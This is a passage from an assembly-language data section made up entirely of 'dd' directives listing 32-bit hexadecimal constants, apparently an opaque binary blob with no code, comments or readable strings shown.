0AC37575Eh, 0FBA2AB00h, 4AA042h dd 58D0ECAAh, 0F37C9B9Ah, 0E8C9EB4Fh, 7DCFAFDh, 8F40088h dd 188D4030h, 0E6FE9065h, 54E4B7h, 8EFA7D38h, 0D284720Dh dd 0A0410F00h, 780525E8h, 85E24EA2h, 0F41014BDh, 7EC8A15Bh dd 230DA86Bh, 3E404FA6h, 0C680D09Bh, 0D662D0C1h, 0DE83AF02h dd 61A30E80h, 903FF557h, 0E726AB08h, 1F66CA80h, 2D97BC0Fh dd 0BF70BCD3h, 315D0476h, 0F8F214BCh, 18809E34h, 3B05F675h dd 0A15825B7h, 2D00CC44h, 57C6C8BEh, 2579108Fh, 80E87B3Fh dd 0DB9D136Eh, 6699D8C4h, 8794170Bh, 0E1F906CCh, 0B7E30791h dd 30CD442Eh, 0EC20DF28h, 9C81001h, 5988F058h, 9A1A9E8h dd 8F451954h, 4900F4C4h, 6B9D7BEFh, 7AE8AEh, 9E1041E4h dd 813CE2D5h, 8F301200h, 6CD97B0Dh, 0F648D234h, 3230E054h dd 89AE2E08h, 16C204B0h, 8004B861h, 9CDA496Fh, 23DF0F92h dd 0EB923666h, 218A0C21h, 4326C478h, 0DEFA4024h, 0B24F4086h dd 97EC00E8h, 0A2CA128Ch, 41B0E5AAh, 21B48FF4h, 5CB62E18h dd 7C2FBAE0h, 0ECF2CF4Ah, 7BC04300h, 392D7A2Eh, 0ACEA6D1Dh dd 97CC6209h, 809F9124h, 29D7BF8Ch, 9D05073Dh, 0B12C0A83h dd 0A4F194A3h, 1009B029h, 0D0855DB9h, 0CD50AC0Eh, 0E2D760B0h dd 0C6E5DC4h, 0C0B44D9Fh, 0F5106548h, 45DCD600h, 528ADD13h dd 0A5A8A8DEh, 182F0B94h, 0A45D5D58h, 85BA8268h, 0A220A8B0h dd 0C72822CAh, 48284655h, 4218837Fh, 63F1C923h, 0CA993301h dd 26B556C6h, 0C41C903Bh, 29468D76h, 88345111h, 713A80BDh dd 0E9BCCA58h, 62135DF8h, 64E8DE29h, 135CE3C4h, 46811CACh dd 127FD76h, 0CC7F672Ch, 0B2728A40h, 807AC141h, 0C38AC0Ch dd 1404B300h, 8F766167h, 0F632FC8h, 58CB28E8h, 69004874h dd 0BCDFDAC6h, 37E6A5h, 772CC290h, 8BC4B0DEh, 4D227E77h dd 2D1AFA20h, 9C7A8A21h, 4C7C0F20h, 8727E2ACh, 83A0471h dd 6E3C557Eh, 5DF74B9Eh, 2B6420D6h, 0B3182840h, 11C08E4Dh dd 22EFB95Ch, 66C415DCh, 432FB451h, 0A619B8E8h, 0D3DD611Dh dd 6B4F7C0h, 1D4C0362h, 0CEDAE84Eh, 7EA29E57h, 0F5296BDFh dd 12DD5091h, 6A0908Ah, 773F3C2Fh, 1948A613h, 0E6A81947h dd 6198465Fh, 43248989h, 0B4072A32h, 97F56759h, 2AAE24E0h dd 5A848AF2h, 38E8989Eh, 689EA84Eh, 0E0697480h, 7B3F59DEh dd 559062A0h, 9410FDCCh, 5C98325Ch, 0F6A3CA27h, 3402F494h dd 600ED9BDh, 54C457BFh, 5700B5E0h, 840E7BEh, 9AC1B2h dd 8C3D356Dh, 4EA7AB34h, 0C0E378BCh, 0F88CCBF1h, 149A6CCh dd 658D2DA7h, 2E21875Ah, 0E786F491h, 0BED00104h, 0F21EFAAFh dd 58B8A075h, 0B08F0C4Eh, 8A8C2D22h, 0EFD5B842h, 432D41CCh dd 0AC207A8Dh, 39D7E4B5h, 708EFECFh, 0F3C0A919h, 9024A6C1h dd 474B462Dh, 102905CCh, 0FB6B849Ah, 338894CFh, 3E1380C0h dd 9854980Ch, 0A9012590h, 0A4131866h, 42FA6ABAh, 0CE396674h dd 0FA60986Fh, 96285C4h, 0E71B5E27h, 25341DF7h, 0CA50E87Bh dd 667601B1h, 7BFA98F3h, 0A46E3A1Ah, 13A42901h, 3BA5FE50h dd 3B0058F2h, 38AE7FEBh, 200BF153h, 89E7C83Ah, 46D4F9C8h dd 0DB955199h, 0EF417050h, 3CD86C01h, 7A3B50E1h, 58F0C83Ah dd 0B5085C05h, 0A4A82937h, 1A021880h, 9425A4ADh, 0FB7CF045h dd 0BC68242Fh, 89633444h, 92B033AFh, 0EF0CB016h, 0A9A860AAh dd 0B4097CDFh, 0D6A54589h, 4BC2E7ACh, 7264D8E7h, 7AAC8261h dd 0BAACC8h, 1096E545h, 7B33CD6Dh, 1FBC8909h, 2698D6F1h dd 8B8D6204h, 71B21940h, 12CC5097h, 841576C6h, 0D0D1AF84h dd 0AB0526F3h, 0F0EC20CCh, 40951E38h, 1861C056h, 0CEE0D249h dd 5A775402h, 5FD189C0h, 145CC0BAh, 0C0900D4h, 1398AD7Bh dd 18B5B453h, 3B5CC13Ch, 0B3CEF518h, 0A7040040h, 7C992F21h dd 0B1D500DFh, 79CA1FE9h, 2650CB44h, 0CC1CC014h, 438AFA5h dd 89DAF14Dh, 5D5800AEh, 0D763B82Bh, 8B3C01B5h, 0D03AB465h dd 1F676F50h, 93045BDh, 2F80D423h, 488C37B1h, 0F1DDC212h dd 97A948Ch, 0A020DBC1h, 6F00948Eh, 6C7051BFh, 0D0AB9804h dd 0ECAC9CAFh, 0F4450C4Ch, 88A46430h, 21F9782Dh, 2D002C10h dd 74C46BDFh, 0FEBE2598h, 0DCBCD4h, 4C6F7264h, 8D74CFD2h dd 0F186AA2Dh, 0BF224494h, 60ADF425h, 0EE5A48B8h, 7C4C2CB8h dd 0BC3C510h, 0DA5EBC42h, 85A920B0h, 78AC684Fh, 0FDDF2884h dd 2D331D94h, 1013CA7Dh, 0CC3421AEh, 0D553D8D7h, 6D8A600h dd 0EAC38F66h, 874827F8h, 5B9D805Ah, 3134D0C8h, 2D09AB73h dd 40F1CA91h, 0BD67572Ch, 61956844h, 0BA703ED4h, 0C1515E6Eh dd 0F082701Ch, 95909A50h, 2022DD16h, 0FFB85CA9h, 0DE126527h dd 1817E964h, 0BC807711h, 10F39A34h, 0E5765C16h, 0E0225440h dd 1250D43h, 0A5123415h, 80E97EAAh, 0A54F168h, 121F31D6h dd 98FF7EAh, 740978B2h, 380B18D0h, 9DF1F8D2h, 80FD118Ch dd 2F7CC38Ah, 0B54A76F2h, 0FAAC0438h, 324AE4Dh, 7C4FD10Bh dd 557800D9h, 0E5C5F611h, 0DF5AFE4Ah, 0EFE254F6h, 0F079D9C0h dd 50A4A82Fh, 0C9654F00h, 967438F8h, 0E9EFBD01h, 2DD0ACC3h dd 0F91B1FBCh, 0E732C006h, 0D304494h, 23CF2200h, 0C88E5CEAh dd 28D94C0Ah, 0AE5B2D04h, 4FAC8AE5h, 9723082Fh, 58ABB300h dd 0BDCC3159h, 4960104Dh, 0A14B0A2Bh, 2C3F18E4h, 5B172CD4h dd 5C42EF46h, 9235956h, 0C044C8F1h, 0B4480149h, 0DE3F5EDBh dd 2D8B026Fh, 1CD4653h, 0AD8C8AB8h, 40085E61h, 3A397C12h dd 4C2FC902h, 7D6B025Ch, 5CAC47h, 0DCB68618h, 0A6C0338Fh dd 0E0B03902h, 0DE96CA26h, 273209FCh, 1E9184FBh, 22708A4Fh dd 0DC909C24h, 26C66238h, 0CF00E2CDh, 53252015h, 1D17267Fh dd 9C7C259Bh, 7446D4h, 2DABC7E4h, 5EF58EF9h, 238A3A1h dd 0AD79A054h, 0A61C40E3h, 0A8E5B791h, 915895A7h, 3BFF8090h dd 0BDAB5108h, 54021844h, 28DA2344h, 0A4A377DCh, 0C3C2DF3Dh dd 5504CCC4h, 0F9FC956h, 0B99C95AFh, 2C6B878h, 7C3D2AFEh dd 0F076CC04h, 0AFF0D32Dh, 7A5084D3h, 97ACB831h, 0EEB7D4E6h dd 71EC91B0h, 24F81871h, 9B866E9h, 0A4D4C072h, 30377FEBh dd 70B6AC00h, 76BF45A3h, 22900BDFh, 9CF103A0h, 0B01873F1h dd 9048C6B5h, 0B7A498E4h, 6F553CE2h, 4F904060h, 0B909B460h dd 2EE1DA5h, 9C39E44h, 10BD94F0h, 96C2834h, 650A0F17h dd 5E49E4D4h, 9BB263D8h, 10A805B0h, 0CD171C09h, 1C7CF922h dd 0CBD1496Eh, 5F082B7Fh, 0D47C700Bh, 298416DCh, 0EE0A0205h dd 0D44531DBh, 7671B021h, 0C3000B18h, 18D57991h, 97FB7169h dd 0C6756462h, 1C739D94h, 0EAA24870h, 0FF230B78h, 0E482338Ah dd 0EB022C65h, 6F9040F9h, 0B899F886h, 2F84BA14h, 0EC5832BEh dd 406495h, 1EF391D7h, 37FD6E3Fh, 41556D00h, 666AC20Ah dd 7D1109E6h, 9008E493h, 0BEF98998h, 0DF043BF5h, 12F5C9h dd 0C074CD7Fh, 0ABA2BA2Bh, 0A0D0A75Bh, 0B1A06948h, 0F7528B84h dd 0D57168D4h, 0C810EB14h, 0F6580080h, 97539518h, 2F7D5B98h dd 48C7DD4h, 0E50D8917h, 0C020BB7Eh, 0F1315A8h, 7F8ED2E9h dd 38F3B0A1h, 7A483579h, 2500B47Bh, 0B6A235C4h, 801E6FB3h dd 8D93B0DEh, 3DF15005h, 10C2B4B9h, 445DBB4Ch, 0F504A130h dd 2BA4F12Ah, 0F59E18F2h, 0B954A9C1h, 3E1CB13Fh, 2BBFB074h dd 1312380h, 0F4ED9FCDh, 2912F843h, 0AD5C40B7h, 0D9B8B1BAh dd 48DC1973h, 0E4E6B511h dd 0C9532017h, 69B054A8h, 0F32F0F5Ch, 0D0A8539Fh, 71000F63h dd 78F8A242h, 5B12AB2Dh, 223CB2C8h, 408E0132h, 0ECCB1B90h dd 7D5BF8C9h, 3E888000h, 0C55625Eh, 49D612D8h, 27E8B1ABh dd 0CAE0B708h, 0A0E8F2h, 0B140D980h, 0C1592A38h, 93F79D05h dd 40B2638Fh, 0D869891Ch, 7AA32C61h, 0EEA80A00h, 67334AC2h dd 7D8B2D79h, 7666F480h, 0E6953011h, 0C92BF164h, 78E62E6Ch dd 0FC4AD0E1h, 0CA04C2E2h, 9644976Eh, 1EEC81EEh, 41BF00CBh dd 0C1292151h, 93116A03h, 0F9984E78h, 0F4825AA8h, 1889DF5Dh dd 0AF6A1004h, 90A904D5h, 0DDF2AAE4h, 300BA97h, 200C3AF0h dd 0EEA64A4Ah, 0A5D7D730h, 699D3929h, 4A57F9DEh, 0BC4145FAh dd 0C1C785h, 2E724824h, 9292CA3Dh, 0C9AB04F4h, 86A67FAEh dd 1AC8EFE5h, 3E050632h, 53719D09h, 5E958D71h, 0D1FF0BC3h dd 91DD97DFh, 2DEC8016h, 0C605047h, 26A58589h, 0BE00665Ch dd 5F610FA2h, 60F99D8Bh, 0BD83182Fh, 0CD71C19h, 47B40BBBh dd 11E49FDFh, 688E1Ah, 25843EDAh, 26A252Ch, 78452C7Fh dd 1334105h, 2A1151A5h, 2B81E2F9h, 7236DBDh, 84B4C3B0h dd 0E9300955h, 0E5550E24h, 0A31D02F8h, 0EDF70939h, 502FC00Ch dd 0D37EFBB8h, 0BB667D00h, 858DF34Bh, 0C593502Bh, 81BD1929h dd 2B909230h, 721C46A9h, 0E1DD8011h, 40F79554h, 539BFB07h dd 23576837h, 52504C8Fh, 90E3300Bh, 64ED8D0Ah, 6235FF28h dd 843DBFF6h, 5F89A532h, 6D5FC689h, 1C38C0B1h, 522B531h dd 0C285731Eh, 9DBD8BBBh, 0EB704BFDh, 16ADB989h, 11B52987h dd 0CD5FE92Bh, 0CF2AC044h, 0F7E4EAFCh, 0ED6C5362h, 0DCB40D2Fh dd 0FBA40F7Dh, 772EB920h, 0AA45D0E9h, 9616CCC0h, 0A1017FBEh dd 2101497Dh, 89CC359Dh, 1E100E56h, 0BE18B0B7h, 0E68002E1h dd 0E4F90070h, 0D7DB8171h, 264AC80Ah, 0CD260DABh, 0F7B82A5Bh dd 87B9AE80h, 8C00F701h, 30CA1439h, 90E17A7Eh, 0C21DE251h dd 0C8B60FBBh, 25991560h, 0AD2AF881h, 0B7047F1Eh, 60C18BD9h dd 572AA4AAh, 0C2CDD9BFh, 82A9CDB5h, 0BF19C05Dh, 0B96D243Fh dd 0E2F7013Bh, 0C3899D01h, 0C82B2400h, 0DF80D18Bh, 0AB7695BCh dd 815B5680h, 5A5E7C7h, 858B3E78h, 0F9B5401Dh, 8907C083h dd 24F58D12h, 4A78EF5Eh, 9DE830FBh, 3B800A65h, 0E92A1D0h dd 0D5882312h, 30E98AABh, 0EBDA9774h, 0B2313533h, 0FDD24A4Dh dd 18843548h, 8BA5CA8Bh, 4308FD15h, 417C3151h, 4461B805h dd 77B5128Dh, 6CE21818h, 5E956AFAh, 7A2F408Dh, 0BC00F338h dd 8AF10547h, 1276BAF4h, 0BECF297Fh, 0C3E16598h, 7DEB961h dd 0A6DFF332h, 0DEFB55FCh, 0F20B9858h, 17DFFE66h, 0EFFC3B95h dd 9C002E6Eh, 59D35ECFh, 6B141A95h, 10FA756Dh, 5480DB5h dd 0B82D5B0Ah, 800F418Dh, 250DA405h, 5BD88B02h, 0FD108BBAh dd 9202B3B7h, 10038D0Fh, 0AD0CDBB7h, 4CD1C233h, 2050BFD0h dd 0BFF4753Fh, 0B1B9DFBFh, 0F11E9DB8h, 1BD2BD09h, 0F3F28CEAh dd 0BE3E0F60h, 1AA508h, 0BA388B5Bh, 880DB872h, 75885591h dd 0F3513B0Bh, 0AD2A5725h, 4CE4ACBAh, 59104509h, 34BF0717h dd 3E98DECh, 8287D6Dh, 2779BD69h, 0C25F501Fh, 0C10318C6h dd 0ACD2FF08h, 0BF581992h, 5870ACF3h, 773E161Fh, 27D0857h dd 365B508Eh, 0A595DB02h, 0D595710h, 484700BBh, 0D4A6D23Fh dd 811CB861h, 0E264358Ah, 1124149h, 486A84E9h, 0FB2CBFEFh dd 46D42CB8h, 4D832E14h, 1F4C020Bh, 801C1111h, 631970CAh dd 0E1780337h, 9E8B3E9h, 0F9362300h, 0CB608250h, 424A2474h dd 0E1DB01B7h, 0D2FF5B65h, 0CE9D3961h, 2255BD21h, 4CA7751h dd 6D0BC204h, 20113B9h, 37F72BD2h, 0B5220E4Eh, 0F594F840h dd 0FC528C4Ch, 0B2032631h, 6D636B1Ah, 6F87E0A2h, 900701B6h dd 51BD3102h, 8415C6Dh, 60020BC1h, 355A55h, 918B5298h dd 9E6B7DBBh, 302A4E1Dh, 2BB76500h, 99508963h, 0CA680A3h dd 1252496Ch, 721CA500h, 0A00E6D7Ah, 5BD4254Eh, 913C9D7Dh dd 3EBA8018h, 98EE40E4h, 580E0462h, 0AE04E180h, 7AB038F6h dd 0E0492590h, 8F280502h, 0E11EC90Ah, 0A6AF29B4h, 0E7B0B08Fh dd 0C67B02BBh, 0C5BD03BFh, 0A26179EAh, 0D60DAF61h, 0C34540E8h dd 0AF042D24h, 7D853374h, 3D84D3D4h, 59D1200h, 6240BD5Fh dd 822FA01h, 0BB50E240h, 0D8FD211Eh, 817D0065h, 2413F1E7h dd 20151E94h, 61EA905Dh, 9D2BD0DFh, 68F35339h, 67CCAD90h dd 8103DAFEh, 0AEF62434h, 0E6AACCD3h, 0B425B076h, 5F96B054h dd 5F20F8DDh, 3B830BDh, 216B7E00h, 0EBDFA567h, 8B2F00C6h dd 6F8589F9h, 95C38B7h, 0EE360150h, 26E90B92h, 0BE217035h dd 0B9480EC5h, 0B2FC767h, 0DA27D99Dh, 2D1209C7h, 8B7699CCh dd 2A316B6Ah, 0F17D1DDEh, 0D57AB112h, 0F3B37F24h, 0F1301BB2h dd 570800F0h, 488D10FBh, 0CE50B8BFh, 64A89AFh, 0AF6BBFh dd 130B4379h, 91E66E0Eh, 308680DAh, 2FA7A37Ah, 210CF102h dd 0C28B6042h, 95BA011Bh, 62221179h, 1FD76F93h, 0E34002D7h dd 1FCFD090h, 0C070BBh, 46894D6Ch, 50FA8B04h, 1D746048h dd 0F46FC585h, 186740E6h, 0D200258Ah, 0B3D71224h, 1EA579D4h dd 81692AF1h, 605CFB23h, 89028F61h, 0DAEA5234h, 6598C7B6h dd 4B3F77D0h, 3C242EA4h, 4C0C1192h, 0A0C4C097h, 9D9B2E4h dd 0B5FF8D40h, 0AA5B3812h, 4A8EBA70h, 684F0025h, 52DCD622h dd 82586079h, 0F78B80E0h, 2424BB66h, 82DB61D0h, 52C3D5DDh dd 6914DC0h, 96238D81h, 55103858h, 5090092Eh, 81E45552h dd 80F47495h, 0AC1AFCDFh, 0F265F06h, 0DA041C31h, 31E0585Ah dd 90A02562h, 9C4F357Dh, 8060C0E9h, 1F1DB531h, 55318982h dd 97002A6Eh, 623E902Dh, 8C019Ah, 716FF863h, 0FED7F782h dd 0FF4B3099h, 9300A235h, 3326198Dh, 8BFF09A7h, 292799Dh dd 2229041h, 3EF59861h, 185901CCh, 0C7EEBABCh, 69CA6385h dd 0FE6D7720h, 8CD936C0h, 0B335165Bh, 0DAF61017h, 753A4996h dd 4127CF55h, 7FCFD71Eh, 204A9AE3h, 0E5E0B3F2h, 0A1C94A02h dd 80E81C27h, 1225CA0Dh, 0C5C2016Eh, 9D29F358h, 0B1E68B5h dd 0FF46E95Bh, 0F84F6BDh, 558160DBh, 81040521h, 286DDAh dd 38305061h, 4439110Ch, 0E8C10187h, 430EAD10h, 3F14C82h dd 0D1F2D58h, 3636EBE7h, 396404DEh, 1B3316EEh, 40282950h dd 0CD581821h, 9570113h, 0C0C1421Bh, 58A7DB55h, 5000ED45h dd 1672C096h, 0B82D65ECh, 0B2CB1240h, 0BDAEF2Ah, 0F15BD8C0h dd 15941C80h, 29AE85E2h, 546D0004h, 49BB132h, 0E8DAB82Ah dd 0AC7C8C14h, 1A80CF04h, 82C27077h, 715D1A6Fh, 3BE4F82Fh dd 37CB9100h, 0D0A59EF0h, 0F792A0C1h, 0FE53485Eh, 0AECB1134h dd 84B00BF6h, 2C39CA88h, 3E920007h, 8509E40Ch, 251F9E3Dh dd 8F8F98F5h, 50752EAFh, 0E63110Eh, 180106C7h, 0C3605304h dd 0ACCCE79Eh, 2564B5F2h, 965F6117h, 9553F530h, 3482031Ch dd 30B35048h, 67628BFAh, 39ED991Ah, 0C1328AC0h, 0A30E18AEh dd 89955566h, 6535022Eh, 6144676h, 1880F92h, 23F80915h dd 93C2519Dh, 0B618632h, 85D1C39Ch, 0BBC7199h, 0C414C863h dd 6E4AFC4h, 500D00EBh, 84CC9BF6h, 4003C83h, 23CE08C1h dd 18FABE5h, 77DF8160h, 6041C01Bh, 0C46B86F7h, 0FE19183Fh dd 0D58403EEh, 0BD181080h, 39CD78E0h, 0A3BA6B01h, 0AB210767h dd 19ACFB39h, 0C0E8028Ch, 0F6125D94h, 83F9C180h, 0AD9E04C2h dd 0EB00136Ah, 5089EADBh dd 0EFF6AD20h, 0BB3A49A0h, 0A298A4CCh, 0C221B120h, 7F83D75Eh dd 0CC07FCC0h, 0A26F384Eh, 71F25400h, 0A09748AFh, 0AF853128h dd 0FFA6EF96h, 865B05DEh, 0A20BAA77h, 870F139Eh, 0ED2A19CDh dd 14CAC5Ch, 9D03F25Eh, 26F5B72Fh, 0A9BC64A8h, 74815EA0h dd 90F417F3h, 0F50BCC65h, 7720964Eh, 1D297ED1h, 80FCAC18h dd 0A7DA7B2Fh, 0D700D37Ch, 0D2CA6EAAh, 55E5360h, 0F505B61h dd 61CB8Bh, 8C34A6B2h, 0F17A4h, 74CCEB5Dh, 1B50A845h, 53966029h dd 0ED587C23h, 0EC8C02DCh, 0C776B29Bh, 5B2C6FF1h, 43918300h dd 162BEA3h, 4F85521Ah, 0EC4AD773h, 81A122D2h, 27E82155h dd 0B8A8A03Bh, 43FA10E3h, 2DDE2C02h, 3510791Ch, 8933278Ch dd 84E9852Fh, 40A096FFh, 12C9431h, 704F2DBFh, 0DED1F620h dd 0D2DB6400h, 7CBF04Ah, 11DE3FE4h, 0F35772E6h, 16119EB7h dd 333A9182h, 1C358282h, 0F8D05473h, 6CC800F5h, 0D0695EE5h dd 4FAC2EC5h, 7E0DD495h, 7705FD7Eh, 8E0F3B68h, 0F5BE8924h dd 0A4493064h, 0C3A8DE03h, 10EA17D9h, 4A2CE5CAh, 77F2EC20h dd 0AB8000F6h, 7E0C58D8h, 0B80A403Eh, 0D7E1ACCBh, 4026A038h dd 39D25802h, 0C1CD9AEAh, 8B9FFDBDh, 0E681C4D2h, 0DFF58BFh dd 469AD35h, 0DEC6F814h, 3DDFC024h, 5A89F00Eh, 0C75D418Dh dd 7326585h, 60C74F09h, 2EB20379h, 0B600A2Ch, 0FD65211Dh dd 0E30BB998h, 1299DF01h, 61690D7Ah, 71F288F8h, 0FC603CFFh dd 84C18B1Ch, 0BF12359Dh, 6B937AB2h, 8942028Dh, 5A2C75BDh dd 1D612051h, 0DE20504Bh, 1D45E60Ch, 5FBF4232h, 4111708h dd 0AB240486h, 9EB0BFA6h, 0BB012611h, 7A4EEEE8h, 0AD2E6A51h dd 219B8FFh, 3B1720AFh, 1342C09Ah, 0F53B0FFAh, 1052F229h dd 11EE6291h, 7B0F0708h, 284AA193h, 0AB03EC94h, 0B439B35Dh dd 25CAA6BBh, 0C0752219h, 503A4905h, 4B164A91h, 22F440FBh dd 0DA3EB89Dh, 6F128C00h, 770545CBh, 0DF38C563h, 3A1425Fh dd 725741BDh, 79ABB373h, 35DF4731h, 0BE241208h, 0D4F0FFD7h dd 4D5E389h, 7E557D15h, 0D304BDC5h, 538049DAh, 11AC9B5h dd 2F4BBDE8h, 6E2E00DDh, 34E002Fh, 4CB9E559h, 0FFA71290h dd 0DD9ABFD1h, 8350E0C0h, 0A925E6E8h, 1C13E5A1h, 0A73D2F7Eh dd 8E32D900h, 117C12Dh, 8B4AA1A2h, 28026AD8h, 98EC12DAh dd 80146608h, 0C106DBF8h, 7695433Ah, 0B50C0E1h, 0A10B3CCEh dd 668C0F1Ch, 0B5F949AEh, 848BDA93h, 55BD47ACh, 42018884h dd 5E8CE9FCh, 0B367704Ah, 327C9584h, 91FE027Eh, 1195BD2Bh dd 786004EFh, 24AB6807h, 13DD1680h, 0E3CB525Dh, 0C2205E6Eh dd 0FEC6AD33h, 0D51B0A43h, 81A0F01Dh, 0B750905Fh, 0A2B7D25Dh dd 7B096D89h, 1FBB847Ah, 9D237019h, 0DD1C4B05h, 8EFD2B5Dh dd 0AD1F13ACh, 9FC1BDA6h, 0B23F73Eh, 0A949C9DDh, 4BB50C30h dd 0C07BDEF5h, 61BBE5F3h, 5C1B4878h, 34E6D309h, 0E08727Bh dd 2059101h, 7D683938h, 977A5F8Ah, 0AF936C00h, 54B2A13Ah dd 253802ACh, 119882D8h, 0D2821756h, 0D8C19D31h, 0B05F2523h dd 70E6DF68h, 0F504BB7Dh, 71E42B76h, 8462D185h, 91885ED8h dd 2ADA48C6h, 0B725B111h, 0F976E17Ah, 8570322Fh, 9D030681h dd 4C0E6C49h, 0F38101A4h, 7E14CA2Dh, 0F67052Fh, 0B8F0348Dh dd 0F1850868h, 0FAAC4C26h, 4DB52915h, 0D18B198Fh, 9CE7926h dd 0B02CA371h, 0C7D01825h, 59875C95h, 0D568D925h, 1B41A19Dh dd 487C5E2Eh, 0FA6C2DD5h, 73A497FBh, 19865417h, 3E730469h dd 0D5285016h, 0F1342E26h, 0A4AE0D27h, 5A4BB36Bh, 882178C8h dd 777CD780h, 0FE14A550h, 82CB813Ah, 89747123h, 25B8B95h dd 5E2A5D8Fh, 22205081h, 0E0276D82h, 0B77ADC93h, 13E1AFA0h dd 0FE226A91h, 80921A97h, 0B9B5EBBEh, 0F92EF3C0h, 0F192BC72h dd 625DCC40h, 0C2704B94h, 0C7C133B1h, 82010410h, 267DBF53h dd 62DB5DF6h, 0DB006659h, 21B86CB4h, 701DE920h, 533D9FB8h dd 0FF191480h, 18D5FD63h, 6817B30Fh, 7B4BF0EFh, 1C88B0DAh dd 0A2F840C0h, 6AEE01ACh, 8B8C46B7h, 0B13D2FD9h, 2480AD28h dd 0DAA768F3h, 86072B7Eh, 88F5B82Ah, 953D820h, 3528E3BDh dd 93E45B25h, 0D62D5E97h, 169FC97h, 393F35FBh, 0CF152060h dd 0D2D083A0h, 9B619027h, 0CB1809BFh, 9779FE0Eh, 0A1B58982h dd 55271F12h, 0D88B2E1Fh, 1D44EEh, 0A8EB59D1h, 0A26CEF46h dd 2A165801h, 62B17468h, 4B323D70h, 3489CA08h, 0F6BB3E96h dd 0F456E0B4h, 0BFD61DA6h, 6E074798h, 0CF7709B8h, 0D56A44CFh dd 2E0BB161h, 0CACCB034h, 70D0E2B3h, 669B002Fh, 9D333E64h dd 1B2238Dh, 0C2E4E6A0h, 1CE1FF26h, 0A69F00DEh, 99BB945Fh dd 2B040CDBh, 2E5D8589h, 0AEE2B5BCh, 0C3EFCD2Bh, 6AC80AC4h dd 4B4CEF3Bh, 0C1D3041Fh, 0D7BC5CDEh, 662094A2h, 97912FBFh dd 4D5EB794h, 17238F3Eh, 6A7D402h, 7F451D5h, 2034A1E4h dd 3C924AA4h, 60D80525h, 97F34578h, 5B539089h, 0B75670h dd 0A9D7A8E2h, 2BB57BE0h, 296D9D13h, 82111C88h, 0FD259C5Ch dd 0CCBBA5B5h, 2B0D10FFh, 379A914Bh, 9CB00401h, 0D82C4B61h dd 0CD07BB74h, 99FE63EAh, 0A52473F9h, 80811FFDh, 0FB5EE79Dh dd 9A976E09h, 0E5F35F9Ch, 35556F58h, 25CA90A8h, 3E0AA226h dd 978008Ch, 0C59BF55Dh, 0CB9D0087h, 0FA201C93h, 2B25CDE2h dd 8BC9E052h, 0F9902DDAh, 220D8B60h, 2DF01083h, 0A461342Fh dd 843133C3h, 0AC936800h, 502F3FDAh, 86831052h, 0CF710F12h dd 29402B5Dh, 3A6A9359h, 60D05E05h, 0A3A55509h, 6C03012Bh dd 2D3FC5AFh, 926B807h, 0D9BF0F91h, 12B0B059h, 97D88AFAh dd 8C54BE9Ah, 0BD9CA540h, 234900CFh, 71FFBF4Eh, 0E925397Bh dd 7B59C23Fh, 6AB870ADh, 1A2DD10Fh, 3C6EC353h, 0D8C4C41h dd 3F1BD09h, 34A3F17Bh, 1F1C8458h, 0C26B7323h, 0E2912059h dd 870505E0h, 4676A327h, 10929716h, 7BDE0F7Ch, 0E3C0D20Eh dd 14D44BA8h, 0B099F6AFh, 284618Fh, 0E8DE6406h, 9D19ABBh dd 0DA2C5D27h, 0B5930646h, 9791A78h, 9965E033h, 2FF5DC31h dd 98D8D917h, 14E0FA4h, 8A8B9620h, 8CB2A713h, 0E848B97Ah dd 4F9831Eh, 78BE982Ch, 505F04CEh, 0AF96DE8Ah, 0C6B0EDF6h dd 0A501D607h, 82013818h, 346E3DE7h, 0DDBC0BF9h, 33BB4468h dd 0D9CDE74Bh, 0CE33E60h, 4E83B18h, 331FF35h, 1985C01Fh dd 0CD24815h, 0A803CF80h, 27EAB8Eh, 0BF42E643h, 0CD408FBAh dd 72BC1BB3h, 561AB717h, 3FE4D1B7h, 31ACBB00h, 0C9DC1879h dd 0A88B3332h, 0D544DFh, 0DE256BBBh, 9501587Dh, 0EE5EC2E9h dd 3CD5FE9h, 0D666AD60h, 0CA74EDF6h, 4FACB8F8h, 6F631361h dd 2E2A00BCh, 8B9C2BB2h, 1B9AA1EBh, 4AF2E812h, 0A0821000h dd 5D9F3672h, 4AB901BBh, 4668FC15h, 21D241AFh, 6C5B020Dh dd 73749D44h, 3B888B80h, 0BE41B5h, 0CDC6D70h, 66EC6922h dd 748A772Ch, 0C1E8D08h, 0DFDE615Fh, 4725B0B0h, 0A5DDE72Bh dd 800D9FDFh, 0F79AF013h, 0AD248DDFh, 6F021F70h, 5C439548h dd 0AD2A51B2h, 9D56303Dh, 91D39669h, 8E0F1234h, 17A39C57h dd 0F01AB800h, 7479257Bh, 0CD6C1001h, 5FDB0F05h, 0A4993B2Fh dd 0F0CDB3BAh, 5E2B4843h, 31EB8112h, 73E20411h, 0C1493D07h dd 377BD99Bh, 0CC4C70h, 0C17817E7h, 0DF3750B4h, 0A7CF8103h dd 10729F9Bh, 762DE976h, 0B2CAD84Bh, 5E90B022h, 0A19AFC85h dd 0BFFB751Fh, 7FF58058h, 0DEA50260h, 23035EFFh, 51BE3E1h dd 1CB235F6h dd 1631E30h, 0A3234C12h, 2F2A6DDEh, 0A4A6B074h, 29D901A7h dd 7D1FEDB5h, 0A9A1809Eh, 0B0A09DDAh, 0CD034B01h, 0B81F6D24h dd 138802F3h, 0E5AA5C95h, 55258ED0h, 0A7D1E66Eh, 601B443Ch dd 0F8FB8B0Ch, 0C24604E5h, 0CC5096ADh, 0A4000263h, 84AA753Dh dd 14D3551h, 0CBE41783h, 205BAE18h, 862C0FCAh, 0BF671A11h dd 5A18D801h, 362A0E61h, 96040482h, 2F259529h, 0B41584E2h dd 2987F21Bh, 3E29198Dh, 0E354F171h, 582DC059h, 0A87922B8h dd 9D0BF30Bh, 975ED8CDh, 0FC62059Ah, 61506054h, 73F0163h dd 9E92CC89h, 0C28B31D7h, 25E57129h, 3CE009CDh, 295177Ah dd 30FCFD48h, 44F4800Fh, 0BD09F860h, 0CA245BCDh, 72F0E1FAh dd 6FF8132Fh, 0A23A009Ch, 90FC5D66h, 0B5891637h, 0BC0BC4A5h dd 82635915h, 0EA699531h, 0EBF55CC1h, 0AE4090CDh, 4ADFA6Dh dd 99BD6EE7h, 0C9F5BCA0h, 0E9C08980h, 693DAF0h, 0B258B6DEh dd 0F755301Ch, 0BE28000h, 0B3E57BB0h, 1951089h, 0A1C85E17h dd 0F3733FABh, 265D4000h, 46973EBFh, 94046C7Ch, 245BD01h dd 899E8C57h, 4692C5FAh, 7E20505Eh, 8229B8h, 2E41457Fh dd 0D8CA2C5Fh, 2A036179h, 13229E77h, 0FAE428F7h, 2434269Ch dd 0BD00DE81h, 0CB8060E8h, 6F890F3Dh, 90771F11h, 